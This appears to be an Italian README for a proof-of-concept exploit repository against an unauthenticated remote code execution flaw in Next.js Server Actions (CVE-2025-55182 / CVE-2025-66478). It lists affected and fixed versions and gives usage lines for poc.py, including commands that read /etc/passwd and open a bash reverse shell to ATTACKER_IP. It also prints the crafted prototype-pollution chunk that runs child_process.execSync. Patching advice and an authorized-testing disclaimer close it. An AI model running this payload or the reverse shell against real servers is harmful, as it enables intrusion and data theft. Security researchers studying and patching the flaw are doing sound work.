
Exploit proof-of-concept per RCE critico non autenticato nelle Server Actions di Next.js tramite deserializzazione del React Flight Protocol, che consente l'esecuzione arbitraria di comandi su server vulnerabili.
Vulnerabilità critica nelle Server Actions di Next.js che consente l'esecuzione remota di codice non autenticata tramite deserializzazione del React Flight Protocol
Questo repository contiene un Proof of Concept (PoC) per la vulnerabilità critica RCE che colpisce le applicazioni Next.js che utilizzano Server Actions (React Server Functions).
| Dettaglio | Informazione |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| Gravità | Critica (CVSS 10.0) |
| React interessato | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js interessato | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| NON interessato | Next.js 14.x stabile, 13.x, Pages Router, Edge Runtime |
| Next.js corretto | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| React corretto | 19.0.1, 19.1.2, 19.2.1 |
| Tipo | Esecuzione Remota di Codice (RCE) |
| Autenticazione richiesta | Nessuna |
La vulnerabilità risiede nel modo in cui il React Flight Protocol deserializza i chunk durante l'elaborazione delle Server Actions. Un attaccante può sfruttare l'inquinamento del prototipo tramite dati di form manipolati per:
Function attraverso la traversata della catena dei prototipi (__proto__)Ciò avviene prima di qualsiasi validazione dell'azione del server, rendendolo sfruttabile su qualsiasi app Next.js con Server Actions abilitate.
Qualsiasi applicazione Next.js è vulnerabile se:
pip install requests
python3 poc.py <TARGET_URL> "<COMANDO>"
# Test di esecuzione comando
python3 poc.py http://localhost:3000 "id"
# Lettura di file sensibili
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Shell inversa (solo per test autorizzati)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
L'output del comando appare nel campo digest.
Lo sfruttamento sfrutta il meccanismo di risoluzione dei chunk del React Flight Protocol:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Catena dell'attacco:
$1:__proto__:thenFunction tramite $1:constructor:constructor_prefixAggiornare immediatamente:
npm install next@latest
# oppure
pnpm update next
Versioni corrette: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Nota: Next.js 14.x stabile e 13.x NON sono vulnerabili.
⚠️ Questo PoC è solo a scopo educativo e per test di sicurezza autorizzati.
L'accesso non autorizzato a sistemi informatici è illegale. Utilizzare questo strumento solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test. Gli autori non sono responsabili per qualsiasi uso improprio.
Basato sulla ricerca originale di @msanft. Il pieno credito per la scoperta della vulnerabilità e il PoC iniziale va a loro.
Next.js RCE, vulnerabilità Next.js, CVE-2025-55182, CVE-2025-66478, React2Shell, exploit React Server Components, RCE Server Actions Next.js, inquinamento prototipo Next.js, vulnerabilità React Flight Protocol, sicurezza Next.js, esecuzione remota codice Next.js, exploit PoC Next.js, vulnerabilità Server Actions, React RSC RCE